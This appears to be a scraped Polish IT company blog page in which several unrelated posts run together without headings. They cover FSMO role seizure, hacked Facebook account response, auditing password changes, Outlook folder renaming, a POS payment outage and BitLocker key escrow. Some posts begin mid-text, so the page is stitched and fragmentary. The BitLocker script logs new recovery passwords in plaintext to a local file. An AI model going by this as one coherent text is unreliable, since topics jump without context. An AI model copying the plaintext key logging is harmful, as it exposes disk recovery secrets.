Czy UTM/NGFW i EDR/NDR „przechodzą”? Tak, gdy są częścią wdrażanych technologii cyfrowych i poprawy bezpieczeństwa procesów.

Chcesz wystartować z dotacją?

Skontaktuj się ze mną – przygotuję bezpłatny pre-assessment wskaźników, zarys projektu (wymiana komputerów pod Windows 11, licencje, szkolenia, UTM/EDR, integracje) i przeprowadzę Cię przez budżet, harmonogram oraz komplet dokumentów do złożenia wniosku.

DS@DAWIDSOBIERAJ.PL / 503-683-550

Wstęp

Active Directory (AD) to serce każdej domeny Windows – kontroluje użytkowników, komputery, polityki grupowe i wiele innych elementów infrastruktury IT.
W środowisku z wieloma kontrolerami domeny (DC) każda instancja replikuje dane katalogowe, jednak niektóre operacje muszą być wykonywane wyłącznie przez jeden, specjalny serwer.
Właśnie do tego służą role FSMO (ang. Flexible Single Master Operations).

Czym są role FSMO?

W każdej domenie AD istnieje pięć ról FSMO, które są kluczowe dla prawidłowego działania całej infrastruktury:

Kiedy należy przejąć role FSMO?

Zazwyczaj role FSMO są rozdzielone automatycznie między kontrolery domeny.
Problem pojawia się, gdy serwer pełniący te role ulegnie awarii – przestaje być osiągalny, nie działa replikacja, nie można tworzyć nowych użytkowników lub grup.

W takiej sytuacji, jeśli serwer nie wróci do życia, należy ręcznie przejąć role FSMO (tzw. „seizure”) na inny działający kontroler domeny.

Jak sprawdzić, który serwer ma role FSMO?

W PowerShell wystarczy użyć:

netdom query fsmo

Lub w GUI – narzędzie Active Directory Users and Computers → prawym na domenę → Operations Masters.

Jak przejąć role FSMO – krok po kroku

W naszym przypadku, główny serwer domenowy WIN2016 uległ awarii i nie było możliwości nawiązania z nim połączenia.
Drugi kontroler domeny AD.bianco.local przejął jego obowiązki po wymuszeniu seize ról FSMO.

1⃣ Uruchamiamy ntdsutil

ntdsutil

2⃣ Wchodzimy do trybu zarządzania FSMO:

roles

3⃣ Nawiązujemy połączenie z działającym DC:

connections
connect to server ad.local.ad
quit

4⃣ Przejmujemy role (seizure), jedna po drugiej:

seize schema master
seize naming master
seize PDC
seize RID master
seize infrastructure master

Każde polecenie wymusi przejęcie danej roli na nowy kontroler, nawet jeśli poprzedni jest nieosiągalny.

W naszym przypadku (realne wdrożenie DSERVE)

W środowisku ad.local.ad pierwotny serwer WIN2016 przestał odpowiadać, przez co przestały działać niektóre funkcje Active Directory, w tym przydzielanie nowych identyfikatorów RID oraz synchronizacja PDC.

Podczas diagnostyki:

dcdiag /test:ridmanager /v

zwracał błędy w module RID, a repadmin /syncall /AdeP wskazywał brak łączności z WIN2016.

W tej sytuacji, wykonaliśmy przejęcie ról FSMO (FSMO seize), przypisując je na drugi kontroler domeny AD.bianco.local.

Po tej operacji:

• Role RID, PDC oraz Schema Master zostały przeniesione na nowy DC,
• Replikacja w domenie została zsynchronizowana,
• Użytkownicy mogli ponownie logować się i korzystać z zasobów domenowych,
• Środowisko odzyskało stabilność.

Jak zweryfikować wynik?

Po zakończeniu operacji można sprawdzić aktualne przypisanie ról:

netdom query fsmo

lub

Get-ADForest | Select-Object SchemaMaster, DomainNamingMaster
Get-ADDomain | Select-Object PDCEmulator, RIDMaster, InfrastructureMaster

Podsumowanie

Przejęcie ról FSMO to czynność awaryjna, ale często ratująca całą domenę przed paraliżem.
Jeśli główny kontroler domeny nie działa, nie wystarczy uruchomić drugiego DC – trzeba upewnić się, że wszystkie kluczowe role FSMO są aktywne na działającym serwerze.

W praktyce warto:

• Mieć co najmniej dwa kontrolery domeny,
• Regularnie wykonywać kopie zapasowe system state,
• Sprawdzać stan replikacji (repadmin /replsummary),
• Dokumentować aktualnych właścicieli ról FSMO.

W DSERVE takie działania wykonujemy rutynowo, zapewniając naszym klientom ciągłość działania środowisk AD, serwerów i systemów bezpieczeństwa.

Podsumowanie techniczne

Wnioski

Active Directory potrafi działać nawet przy awarii jednego z kontrolerów, ale utrata serwera FSMO bez przejęcia jego ról może spowodować poważne problemy w całej domenie – od niemożności tworzenia użytkowników po błędy w logowaniu.
Dlatego procedura FSMO seize powinna być znana każdemu administratorowi.

DSERVE – zarządzamy, monitorujemy i przywracamy środowiska Active Directory, gdy inni dopiero szukają przycisku „Start”.
Masz problem z AD, kontrolerem domeny lub replikacją?
Skontaktuj się z nami – pomożemy odzyskać kontrolę nad infrastrukturą IT.

TL;DR (dla pośpiechu)

1. Od razu zmień hasło i wyloguj wszystkie sesje.
2. Zabezpiecz ślady: zrzuty ekranu + pełny eksport danych.
3. Zgłoś incydent do CSIRT NASK (CERT Polska).
4. Spakuj dowody dla Policji.
5. Włącz 2FA (MFA) i usuń nieznane urządzenia/aplikacje.
6. Zrób to samo dla e-maila.

1) Natychmiast: zmiana hasła i wylogowanie wszystkich

• Ścieżka w aplikacji / WWW:
  Menu → Ustawienia i prywatność → Ustawienia → Centrum kont (Accounts Center) → Hasło i zabezpieczenia.
• Zmień hasło na mocne i unikalne (min. 12 znaków, małe/duże litery, cyfry, znak specjalny).
• W „Miejsca logowania” / „Sesje” wyloguj się ze wszystkich urządzeń (lub przynajmniej usuń podejrzane sesje).
• Jeśli zarządzasz Stronami / Menedżerem reklam: sprawdź Role / Użytkownicy i usuń nieznane osoby (administratorzy, analitycy, menedżerzy reklam).
• Zmień też hasło do powiązanego e-maila (to często wektor przejęcia).

Tip: jeżeli nie możesz się zalogować, użyj „Nie pamiętam hasła” i odzyskiwania konta. Zapisuj po drodze wszystkie komunikaty i daty.

2) Zabezpieczenie dziennika zdarzeń i śladów (dowody)

Zrób to zanim cokolwiek posprzątasz — chodzi o nieedytowalne kopie:

• Zrzuty ekranu z:
  • Dziennika aktywności (posty, komentarze, zmiany profilu, logowania),
  • Miejsc logowania / Aktywnych sesji (urządzenia, lokalizacje, daty/godziny),
  • Użytkowników/rol w Stronach/Menedżerze firmy (jeśli dotyczy),
  • Ewentualnych kampanii reklamowych (kto dodał, kiedy, budżety).
• Eksport pełnych danych: „Twoje informacje na Facebooku → Pobierz informacje”
  Zaznacz co najmniej: logowania/urządzenia, aktywności, reklamy/płatności, ustawienia.
• Zachowaj e-maile powiadomień (logowania, zmiana hasła, nowe urządzenie) z pełnymi nagłówkami.
• Jeśli były płatności/reklamy: faktury, historia obciążeń, metody płatności.

Jak nazwać pliki?
2025-09-26_FB_logowania_zrzuty.pdf
2025-09-26_FB_eksport_danych.zip
2025-09-26_FB_roles_pages.pdf

3) Zgłoszenie incydentu do CSIRT NASK (CERT Polska)

• Kanał: formularz online (incydent.cert.pl) lub e-mail (cert@cert.pl).
• W treści podaj:
  • Daty i godziny zdarzeń (z czasem lokalnym),
  • Opis co się stało (np. nieautoryzowane logowanie, publikacje, reklamy),
  • Co już zrobiłeś (zmiana hasła, wylogowanie, eksport danych),
  • Dowody w załącznikach (zrzuty, eksporty, nagłówki e-mail),
  • Wpływ (spam do kontaktów, starty finansowe, ryzyko RODO),
  • Dane do kontaktu, informacja, czy sprawa została zgłoszona na Policję.
• Zachowaj numer zgłoszenia i dopisz go do osi czasu incydentu.

4) Co przygotować dla Policji (paczka dowodowa)

Przygotuj ZIP z materiałami + wydruk najważniejszych ekranów:

• Zrzuty: Dziennik aktywności, Miejsca logowania, alerty o logowaniu, lista administratorów, zmiany w reklamach/płatnościach.
• Pełny eksport „Twoje informacje na Facebooku” (oryginalne pliki, bez przeróbek).
• Nagłówki e-mail („Internet headers”) z powiadomień bezpieczeństwa.
• Logi płatności/reklam (jeżeli uruchomiono kampanie lub dodano metody płatności).
• Krótka oś czasu zdarzeń (kto/co/kiedy, z numerami zgłoszeń do FB/CSIRT/Policji).
• (Dodatkowo) kontakt do lokalnych komórek ds. cyberprzestępczości.

Minimalna oś czasu (wzór do skopiowania):

• 2025-09-26 08:15 — Alert o logowaniu z nowego urządzenia (Android, Warszawa).
• 2025-09-26 08:20 — Publikacja nieautoryzowanego posta (zrzut_01.png).
• 2025-09-26 08:25 — Zmiana hasła, wylogowanie wszystkich sesji.
• 2025-09-26 08:40 — Eksport danych z „Twoje informacje na Facebooku”.
• 2025-09-26 09:00 — Zgłoszenie do CSIRT NASK (ID: NASK-2025-XXXX).
• 2025-09-26 10:30 — Zgłoszenie na Policję (sygn. sprawy, jednostka).

5) Włączenie i utwardzenie MFA (2FA)

• Ścieżka:
  Menu → Ustawienia i prywatność → Ustawienia → Centrum kont → Hasło i zabezpieczenia → Uwierzytelnianie dwuskładnikowe.
• Wybierz metodę (zalecana kolejność):
  1. Aplikacja uwierzytelniająca (TOTP) — np. Microsoft/Google Authenticator.
  2. SMS — tylko jako opcja awaryjna (mniej bezpieczna).
• Zapisz kody zapasowe i schowaj offline.
• Cofnij zaufanie wszystkim nieznanym urządzeniom w „Rozpoznane/Zaufane urządzenia”.
• Odłącz aplikacje, których nie rozpoznajesz, w sekcji połączonych aplikacji/serwisów.

Dodatkowe utwardzenie i higiena bezpieczeństwa

• E-mail powiązany z Facebookiem: zmień hasło, włącz 2FA, sprawdź filtry i przekierowania (czy napastnik nie dodał reguł ukrywających maile z Facebooka).
• Sprzęt i przeglądarki: przeskanuj antywirusem/EDR, zaktualizuj system i przeglądarki, usuń podejrzane rozszerzenia.
• Zespół i znajomi: poinformuj o incydencie, poproś o ignorowanie nietypowych wiadomości z Twojego konta.
• Polityki firmowe: jeżeli to konto firmowe, zaktualizuj procedury IR (incident response), listę administratorów i sposób zatwierdzania zmian w reklamach.

To samo zrób dla swojej skrzynki e-mail (konieczne!)

1. Zmień hasło na mocne i unikalne.
2. Włącz dwuskładnikowe logowanie (MFA/2FA) w Gmail/Outlook/innym dostawcy.
3. Sprawdź filtry i przekierowania (usuń obce reguły).
4. Wyloguj wszystkie sesje (zakończ aktywne logowania na innych urządzeniach).
5. Odłącz nieznane aplikacje i sprawdź uprawnienia (OAuth, dostęp IMAP/POP).
6. Zapisz kody zapasowe i skonfiguruj numer/klucz bezpieczeństwa (jeśli obsługiwane).

Podsumowanie

• Reaguj natychmiast: hasło + wylogowanie + 2FA.
• Zabezpiecz dowody przed jakąkolwiek naprawą.
• Zgłoś sprawę do CSIRT NASK i Policji.
• Utwardź konto i pocztę (2FA, czyszczenie uprawnień, przegląd urządzeń).

Dlaczego to ważne?

• Rozliczalność (accountability) – jasno wskazujemy sprawcę operacji (konto, domena, Logon ID).
• Forensyka – łączymy zmianę hasła z logowaniem (4624) i źródłem (komp/IP).
• Zgodność – spełniamy wymogi audytowe (np. ISO 27001, polityki haseł).
• Szybka reakcja – wykrycie nieautoryzowanych zmian i możliwość natychmiastowego działania.

Krok 1: Włącz audyt zmian kont

Na stacjach roboczych/serwerach lokalnych:

1. Otwórz Local Security Policy → Advanced Audit Policy Configuration → Account Management.
2. Włącz Audit User Account Management dla Success (i opcjonalnie Failure).
3. W wierszu poleceń: gpupdate /force.

Bez audytu nie będzie śladów w dzienniku Security – włącz go zawczasu!

Krok 2: Co loguje Windows?

W Event Viewer → Windows Logs → Security interesują nas m.in.:

• 4723 – próba zmiany hasła przez samego użytkownika (Change).
• 4724 – reset hasła przez inną osobę/konto (Reset).
• 4738 – zmiana właściwości konta (pozwala potwierdzić moment „Password Last Set”).
  Dodatkowo do korelacji źródła: 4624 (udane logowanie – workstation/IP).

Krok 3: Skrypt PowerShell do wyłuskania „kto zmienił hasło”

Poniższy skrypt filtruje zdarzenia 4723/4724 z ostatnich 30 dni i zwraca listę z aktorem (ByUser/ByDomain) oraz kontem docelowym (TargetUser).
Zmień TARGETUSER na nazwę lokalnego konta, które chcesz prześledzić – albo usuń filtr, by zobaczyć wszystkie.

# Zakres: ostatnie 30 dni (zmień w razie potrzeby)
$ids = 4723,4724
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=$ids; StartTime=(Get-Date).AddDays(-30)} |
ForEach-Object {
  $x = [xml]$_.ToXml()
  [pscustomobject]@{
    Time       = $_.TimeCreated
    EventId    = $_.Id
    Action     = if ($_.Id -eq 4723) {'Change'} else {'Reset'}
    ByUser     = ($x.Event.EventData.Data | ? {$_.Name -eq 'SubjectUserName'}).'#text'
    ByDomain   = ($x.Event.EventData.Data | ? {$_.Name -eq 'SubjectDomainName'}).'#text'
    TargetUser = ($x.Event.EventData.Data | ? {$_.Name -eq 'TargetUserName'}).'#text'
    LogonId    = ($x.Event.EventData.Data | ? {$_.Name -eq 'SubjectLogonId'}).'#text'
  }
} | Where-Object { $_.TargetUser -ieq 'TARGETUSER' } | Sort-Object Time

Rozszerzenie: korelacja z 4624 (źródło operacji)

Weź LogonId z rekordu 4723/4724 i dopasuj do 4624, by znaleźć stanowisko/IP:

$logonId = '0x3e7'  # wstaw z kolumny LogonId
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-30)} |
Where-Object { $_.Message -match [regex]::Escape($logonId) } |
Select-Object TimeCreated, Message

Tipy praktyczne

• SYSTEM / serwisy: jeśli hasła zmienia automaty narzędzia (np. LAPS/Intune/skrypty), aktorem będzie SYSTEM lub konto serwisowe – to też jest „kto”.
• Domena vs lokalnie: dla kont domenowych szukamy logów na kontrolerze domeny.
• Brak zdarzeń = brak audytu w momencie zdarzenia. Włącz teraz, by mieć ślady na przyszłość.
• Eksport do CSV: ... | Export-Csv .\ZmianyHasel.csv -NoTypeInformation -Encoding UTF8

Krok 4: Co dalej z wynikiem?

• Jeśli to nieautoryzowana zmiana – natychmiast wymuś reset hasła, unieważnij sesje, sprawdź członkostwa w grupach lokalnych.
• Zbierz artefakty: 4723/4724/4738 + 4624, zrzuty z net localgroup administrators, harmonogram zadań, wpisy w Task Scheduler/Services.
• Rozważ LAPS (Local Administrator Password Solution) do bezpiecznego i audytowalnego zarządzania hasłami lokalnych adminów.

Podsumowanie

Dobre cyberbezpieczeństwo to nie tylko blokowanie – to też widoczność i dowody. Włączenie audytu i szybki przegląd logów Security pozwala odpowiedzieć na kluczowe pytanie: kto zmienił hasło. A z podanym skryptem – zrobisz to w minutę.

Domyślne foldery poczty (takie jak Skrzynka odbiorcza, Wysłane, Kosz itp.) otrzymują nazwę w języku, który jest ustawiony w programie Outlook przy pierwszym otwarciu skrzynki. Oznacza to, że jeśli np. po raz pierwszy skonfigurowano skrzynkę w anglojęzycznej wersji Outlooka, to foldery przyjmą angielskie nazwy (“Inbox”, “Sent Items” itd.) i zachowają je, nawet jeśli później zmienimy język aplikacji. Sama zmiana języka interfejsu nie zmienia istniejących nazw folderów – trzeba je zresetować lub zmienić ręcznie. Dobra wiadomość: zawartość folderów pozostaje bezpieczna, zmienia się tylko nazwa wyświetlana folderu. Poniżej opisujemy kilka metod, jak dostosować te nazwy do preferowanego języka.

Metoda 1: Automatyczny reset nazw folderów w Outlook (Windows)

Najprostszym sposobem jest skorzystanie z wbudowanej funkcji Outlooka, która resetuje nazwy domyślnych folderów do języka aktualnie używanej aplikacji. Wykonaj następujące kroki:

1. Zamknij Outlooka, jeśli jest uruchomiony.
2. Ustaw język interfejsu Outlook na docelowy (np. polski) – opcja Plik > Opcje > Język.
3. Uruchom polecenie resetujące: Naciśnij Win + R, wpisz: outlook.exe /resetfoldernames …i zatwierdź Enterem. (Alternatywnie możesz to wykonać z wiersza poleceń).
4. Outlook uruchomi się ponownie, a nazwy wbudowanych folderów (Inbox, Sent, Trash etc.) powinny automatycznie zmienić się na odpowiadające językowi aplikacji (np. Skrzynka odbiorcza, Elementy wysłane, Kosz)

Uwaga: Jeśli brakuje Ci jakiegoś domyślnego folderu albo po migracjach pojawiły się duplikaty, pomocne może być uruchomienie najpierw outlook.exe /resetfolders (przywraca brakujące foldery systemowe), a następnie ponownie outlook.exe /resetfoldernames. Zapewni to odtworzenie struktury folderów i ujednolicenie ich nazw.

Metoda 2: Zmiana nazw folderów przez Outlook Web App (OWA)

Drugim sposobem – niewymagającym instalowania czegokolwiek na komputerze – jest użycie webowej wersji Outlooka (Outlook on the Web). Pozwala ona zmienić język skrzynki i automatycznie dostosować nazwy folderów domyślnych. Ta metoda sprawdza się na każdym systemie (Windows, macOS, Linux) i dla każdej skrzynki, do której masz dostęp przez przeglądarkę. Postępuj według kroków:

1. Zamknij klasycznego Outlooka, aby nie był w konflikcie.
2. Zaloguj się do Outlook Web App (OWA) poprzez przeglądarkę, wchodząc na adres swojej poczty (np. outlook.office.com lub firmowy link do OWA) i podając dane logowania.
3. Kliknij Ustawienia (ikona koła zębatego w prawym górnym rogu), a następnie wybierz „Wyświetl wszystkie ustawienia Outlook”.
4. Przejdź do sekcji Ogólne > Język i strefa czasowa.
5. Z listy Język wybierz żądany język (np. polski).
6. Zaznacz opcję: „Zmień nazwy folderów domyślnych tak, aby odpowiadały określonemu językowi”
7. Kliknij Zapisz i wyloguj się z OWA (zamknij kartę lub przeglądarkę).
8. Otwórz ponownie Outlook (aplikację lub odśwież OWA). Foldery domyślne skrzynki powinny już wyświetlać się w wybranym języku. Jeśli od razu nie widać zmian, może być konieczne ponowne uruchomienie Outlooka lub odczekanie chwilę na synchronizację zmian.

Wskazówka: Jeśli OWA nie pozwala zaznaczyć powyższej opcji (np. język był już ustawiony), zmień tymczasowo język na inny, zapisz, a następnie wróć do żądanego języka i ponownie zaznacz opcję zmiany nazw folderów

Metoda 3: Ręczna zmiana nazw za pomocą MFCMAPI

Jeżeli potrzebujesz niestandardowych nazw folderów lub powyższe metody nie spełniają Twoich oczekiwań, możesz ręcznie zmienić nazwy dowolnych folderów (w tym domyślnych) za pomocą darmowego narzędzia MFCMAPI. Jest to zaawansowany program do niskopoziomowego zarządzania skrzynką Outlook/Exchange, który pozwala m.in. edytować nazwy folderów niezależnie od ustawień językowych Outlooka

Uwaga: Metoda zalecana dla bardziej zaawansowanych użytkowników. Ostrożnie zmieniaj tylko nazwy folderów – nie usuwaj ani nie modyfikuj innych elementów, aby nie uszkodzić skrzynki.

Kroki, aby zmienić nazwy folderów w MFCMAPI:

1. Pobierz narzędzie MFCMAPI (odpowiednią wersję bitową zgodną z Twoją instalacją Office – 32 lub 64-bit). Możesz skorzystać z oficjalnej strony projektu na GitHub lub pobrać bezpośrednio przygotowaną paczkę: MFCMAPI.x64 21.0.21127.03. -> pobierz tu :
2. Rozpakuj i uruchom program MFCMapi.exe. Nie wymaga instalacji.
3. W menu głównym wybierz Session > Logon… – pojawi się okno profili. Wskaż swój profil Outlook (zazwyczaj będzie już zaznaczony) i kliknij OK.
4. Dwukrotnie kliknij na nazwę swojej skrzynki pocztowej na liście, aby ją otworzyć.
5. W strukturze folderów odszukaj „Root – Mailbox” (Root – Skrzynka pocztowa) i rozwiń tę gałąź, następnie rozwiń folder IPM_SUBTREE – w nim widoczne są wszystkie główne foldery pocztowe.
6. Aby zmienić nazwę folderu, kliknij raz (podświetl) wybrany folder, po czym kliknij na jego nazwę drugi raz i przytrzymaj (nie za szybko, podobnie jak zmieniamy nazwy plików w Explorerze). Nazwa powinna stać się edytowalna. Wpisz nową nazwę i naciśnij Enter. Powtórz dla innych folderów, które chcesz zmodyfikować.
7. Zamknij okna MFCMAPI i zakończ program, a następnie uruchom ponownie Outlook. Zmiany nazw powinny zostać zachowane.

Ta metoda pozwala na dowolne tłumaczenie lub zmianę nazw (np. można zmienić “Archive” na “Archiwum” itp.), niezależnie od tego, jaki język uważa Outlook za domyślny. Pamiętaj jednak, że przy ponownej konfiguracji skrzynki na innym urządzeniu lub po zmianie języka systemowego, Outlook może ponownie utworzyć foldery w języku zgodnym z ustawieniami skrzynki/serwera.

Porady dla administratorów (M365/Exchange)

Jeśli zarządzasz środowiskiem pocztowym, możesz wymusić ustawienie języka i lokalizacji skrzynki użytkownika bezpośrednio na serwerze Exchange (lokalnym lub Online). Służy do tego polecenie PowerShell Set-MailboxRegionalConfiguration. Pozwala ono ustawić język, strefę czasową oraz formaty dat dla skrzynki, a dodatkowo opcja -LocalizeDefaultFolderName $true spowoduje zmianę nazw domyślnych folderów na odpowiednie dla wybranego języka. Przykład dla skrzynki użytkownika na Exchange Online (Microsoft 365):

Set-MailboxRegionalConfiguration -Identity user@contoso.com -Language pl-PL -DateFormat "dd.MM.yyyy" -TimeFormat "HH:mm" -LocalizeDefaultFolderName $true

Powyższe polecenie ustawi język polski dla skrzynki user@contoso.com, od razu zmieniając nazwy domyślnych folderów na język polski. Użytkownik nie musi nic robić – zmiany zwykle są widoczne natychmiast (ewentualnie po ponownym uruchomieniu Outlooka)

Jak uniknąć duplikatów folderów? Jeśli zdarzyło się, że Outlook wyświetla podwójne foldery (jedne po polsku, drugie po angielsku lub innym języku), najczęściej przyczyną jest niezgodność języka ustawionego na skrzynce pocztowej z językiem klienta Outlook. W takiej sytuacji:

• Ustaw właściwy język skrzynki za pomocą jednej z metod powyżej – najlepiej przez OWA (Metoda 2) dla konkretnego użytkownika lub PowerShell dla wielu skrzynek naraz.
• Następnie użyj polecenia /resetfoldernames w Outlooku (Metoda 1) na komputerze użytkownika, aby zresetować nazwy folderów zgodnie z nowo ustawionym językiem

Po takiej operacji niepotrzebne duplikaty (np. Inbox obok Skrzynka odbiorcza) znikną – Outlook będzie używał wyłącznie folderów we właściwym, jednolitym języku. Dzięki temu użytkownicy nie będą zdezorientowani mieszanymi nazwami, a administracja skrzynką stanie się prostsza.

• błędy autoryzacji kart,
• komunikaty o braku łączności lub „brak sieci”,
• nietypowo wydłużony czas realizacji transakcji,
• pojedyncze przypadki ponownego obciążenia transakcji po przywróceniu działania.

Na ten moment prowadzimy diagnostykę i czekamy na oficjalne komunikaty od operatorów płatności i dostawców rozwiązań POS. Gdy pojawią się wiarygodne informacje, zaktualizujemy ten wpis.

Co możesz zrobić po swojej stronie (checklista)

1. Wykonaj jeden kontrolowany restart terminala/ aplikacji POS. Unikaj resetowania „w kółko”.
2. Zweryfikuj łączność internetową (WAN, LTE, Wi-Fi, VLAN dla POS). Jeśli sieć działa, problem prawdopodobnie leży poza Twoją infrastrukturą.
3. Zapewnij alternatywy płatności (gotówka, szybki przelew/PayByLink, odroczona płatność).
4. Notuj nieudane transakcje (kwota, godzina, numer paragonu) – ułatwi to późniejsze rozliczenie i ewentualne storna.
5. Nie zmieniaj konfiguracji terminala i nie odinstalowuj aplikacji bez wyraźnych wytycznych serwisu.
6. Zgłaszaj incydenty do serwisu oraz do naszego Service Desk – pomaga to potwierdzać skalę i korelować zdarzenia.

Gdzie sprawdzić sytuację na bieżąco

Publiczne sygnały użytkowników dotyczące kart i autoryzacji możesz śledzić m.in. tutaj:
downdetector.pl/status/visa
https://downdetector.pl/status/visa

Uwaga: serwisy „crowdsourcingowe” nie są oficjalnym źródłem, ale bywają pomocne do szybkiej oceny trendu (pik zgłoszeń, komentarze użytkowników).

Jak działamy po stronie DSERVE

• Korelujemy alerty z terminali, kas fiskalnych i łączy WAN/LTE.
• Weryfikujemy logi sieciowe (NAT, DNS, segment POS) i dostępność usług autoryzacyjnych.
• Ustalamy procedury reconciliation po przywróceniu usług (sprawdzenie duplikacji/odrzuceń).
• Utrzymujemy kontakt z operatorami i dostawcami płatności po stronie naszych klientów.

Kiedy aktualizacja?

Ten wpis będziemy uzupełniać, gdy tylko pojawią się potwierdzone komunikaty z rynku (operatorzy, dostawcy POS, sieci). Jeśli chcesz otrzymać powiadomienie o aktualizacji – skontaktuj się z nami.

Kontakt do Service Desk DSERVE:
ds@dserve.pl | +48 503-683-550
Godziny pracy: 24/7 dla umów SLA rozszerzonych, w pozostałych przypadkach – zgodnie z umową

Tagi: #POS #terminal #płatności #MSP #awaria #IT #DSERVE

Edycja 13:15

Zaczyna wracać do sprawności.

Edycja 13:21

Problem pojawił się też poza Polską:

Cel: zapewnić, że klucze odzyskiwania BitLocker trafią do Active Directory Domain Services (AD DS), a szyfrowanie nie uruchomi się, jeśli zapis do AD się nie powiedzie. Dodatkowo — dosłać klucze z już zaszyfrowanych komputerów przez zadanie Harmonogramu (GPP).

Architektura rozwiązania

1. Polityki BitLocker w GPO (Computer Configuration)
   • Wymuszają zapis recovery key do AD DS i blokują start szyfrowania, gdy escrow się nie uda.
2. Zadanie Harmonogramu (Group Policy Preferences)
   • Na starcie systemu uruchamia skrypt PowerShell jako SYSTEM, który dosyła (backupuje) istniejące klucze do AD DS.
3. Przegląd kluczy w AD
   • ADUC z funkcją BitLocker Recovery Password Viewer (RSAT) — karta BitLocker Recovery na obiekcie komputera.

1) Wymuszenie escrow do AD DS (nowe szyfrowania)

W GPO powiązanym z OU komputerów:

Operating System Drives
Computer Configuration → Administrative Templates → Windows Components → BitLocker Drive Encryption → Operating System Drives

• Choose how BitLocker-protected operating system drives can be recovered → Enabled
  • Save BitLocker recovery information to AD DS…
  • Do not enable BitLocker until recovery information is stored to AD DS…
  • (opcjonalnie) Store recovery passwords and key packages

Fixed Data Drives / Removable Data Drives – analogicznie jak wyżej.

TPM:
Computer Configuration → Administrative Templates → System → Trusted Platform Module Services

• Turn on TPM backup to Active Directory Domain Services → Enabled

Dzięki temu nowe wdrożenia BitLockera zawsze zapiszą klucze w AD, albo w ogóle nie wystartują.

2) Dosyłka kluczy z już zaszyfrowanych stacji (Harmonogram)

2.1. Skrypt w SYSVOL

Umieść plik PS1 (na bazie Twoich ustaleń) w:
\\serwer2022.plcall.local\SYSVOL\plcall.local\scripts\kopiakluczybitlocker.ps1

Proponowana, odporna wersja z logowaniem i obsługą wielu wolumenów:

# kopiakluczybitlocker.ps1
$ErrorActionPreference = 'Stop'
$LogRoot = "$env:ProgramData\BitLockerEscrow"
New-Item -ItemType Directory -Path $LogRoot -Force | Out-Null
$LogFile = Join-Path $LogRoot "escrow-$(Get-Date -Format yyyyMMdd).log"

function Write-Log($msg) {
  Add-Content -Path $LogFile -Value "$(Get-Date -Format s) $msg"
}

try {
  $vols = Get-BitLockerVolume
  foreach ($v in $vols) {
    if ($v.ProtectionStatus -ne 'On') { continue }

    # Upewnij się, że istnieje RecoveryPassword
    $rps = @($v.KeyProtector | Where-Object { $_.KeyProtectorType -eq 'RecoveryPassword' })
    if ($rps.Count -eq 0) {
      $rp = Add-BitLockerKeyProtector -MountPoint $v.MountPoint -RecoveryPasswordProtector
      Write-Log "Dodano RecoveryPassword dla $($v.MountPoint): $($rp.RecoveryPassword)"
      $rps = @($rp.KeyProtector)
    }

    foreach ($kp in $rps) {
      try {
        Backup-BitLockerKeyProtector -MountPoint $v.MountPoint -KeyProtectorId $kp.KeyProtectorId -ErrorAction Stop
        Write-Log "OK: $($v.MountPoint) → $($kp.KeyProtectorId)"
      } catch {
        Write-Log "ERROR: $($v.MountPoint) → $($kp.KeyProtectorId) : $($_.Exception.Message)"
      }
    }
  }
} catch {
  Write-Log "FATAL: $($_.Exception.Message)"
  exit 1
}

2.2. Zadanie Harmonogramu przez GPP

W tym samym GPO:
Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks → New → Scheduled Task (Windows 7 or later)

• Name: BitLocker Escrow to AD
• Security options:Run whether user is logged on or not
  • Run with highest privileges
  • User: SYSTEM
• Triggers: At startup (opcjonalnie Delay task: 2 minutes)
• Actions:Start a program
  • Program/script: powershell.exe
  • Arguments: -NoProfile -ExecutionPolicy Bypass -File "\\serwer2022.plcall.local\SYSVOL\plcall.local\scripts\kopiakluczybitlocker.ps1"
• Common → (opcjonalnie) Item-level targeting (wybrane grupy/OU, pilotaż).

Nie musisz zmieniać polityki ExecutionPolicy w domenie — przekazujemy Bypass tylko temu zadaniu.

3) Testy i walidacja

1. Na kilku stacjach pilotażowych: gpupdate /force → restart.
2. Po starcie sprawdź log lokalny: C:\ProgramData\BitLockerEscrow\escrow-YYYYMMDD.log.
3. W Active Directory Users and Computers włącz View → Advanced Features, otwórz obiekt komputera → karta BitLocker Recovery (powinna pojawić się 48-cyfrowa fraza).
4. (Opcja) PowerShell z serwera: $dn = (Get-ADComputer NAZWA-KOMPUTERA).DistinguishedName Get-ADObject -LDAPFilter "(objectClass=msFVE-RecoveryInformation)" -SearchBase $dn -Properties msFVE-RecoveryPassword | Select-Object msFVE-RecoveryPassword

4) Najczęstsze problemy (checklista)

• Brak karty BitLocker Recovery w ADUC → doinstaluj BitLocker Recovery Password Viewer (RSAT).
• Maszyny nie dosyłają kluczy → sprawdź łączność do DC, replikację, czas systemowy, prawa konta komputera (domyślnie ma).
• Brak RecoveryPassword → skrypt sam doda protektor i wykona backup.
• Konflikt z polityką → upewnij się, że polityki BitLocker są na poziomie Computer i efektywnie obowiązują (RSOP).

Najważniejsze liczby

• 25 potwierdzeń (certyfikatów i ukończonych szkoleń)
• ESET – 8: 5× Client & Network Security Administrator, 1× PROTECT On-Prem v12.x, 1× Advanced Administration, 1× Akademia Resellera 3.0
• Microsoft – 7: 3× MS 102T00 Microsoft 365 Administrator, 2× MS 55371 Administrowanie Windows Server, 1× MS-900 Fundamentals, 1× Wprowadzenie do AI – Microsoft Copilot
• Ubiquiti – 4: 2× UWA (Ubiquiti Wireless Admin), 2× UFSP (Ubiquiti Full-Stack Professional)
• Synology – 1: DSM Architect 2025
• Cybersecurity – 5: Wazuh (wprowadzenie), Pentester podatności, Sekurak Hacking Party, Hakowanie aplikacji webowych, Securitum – Bezpieczeństwo Windows

Co te kompetencje dają w praktyce

• ESET – projektujemy i utrzymujemy ochronę stacji roboczych i serwerów, wdrażamy centralne zarządzanie ESET PROTECT, a w razie potrzeby wykonujemy zaawansowany troubleshooting i hardening.
• Microsoft 365 & Windows Server – administrujemy środowiskami M365 (tożsamość, poczta, bezpieczeństwo), wdrażamy i utrzymujemy Windows Server oraz doradzamy w migracjach do chmury i hybrydach.
• Ubiquiti (UWA/UFSP) – kompleksowo budujemy sieci (LAN/WLAN/SDN), od projektu i site-survey po konfigurację i monitoring.
• Synology (DSM Architect) – dobieramy i wdrażamy rozwiązania NAS/backup, wersjonowanie i ochronę danych firmowych.
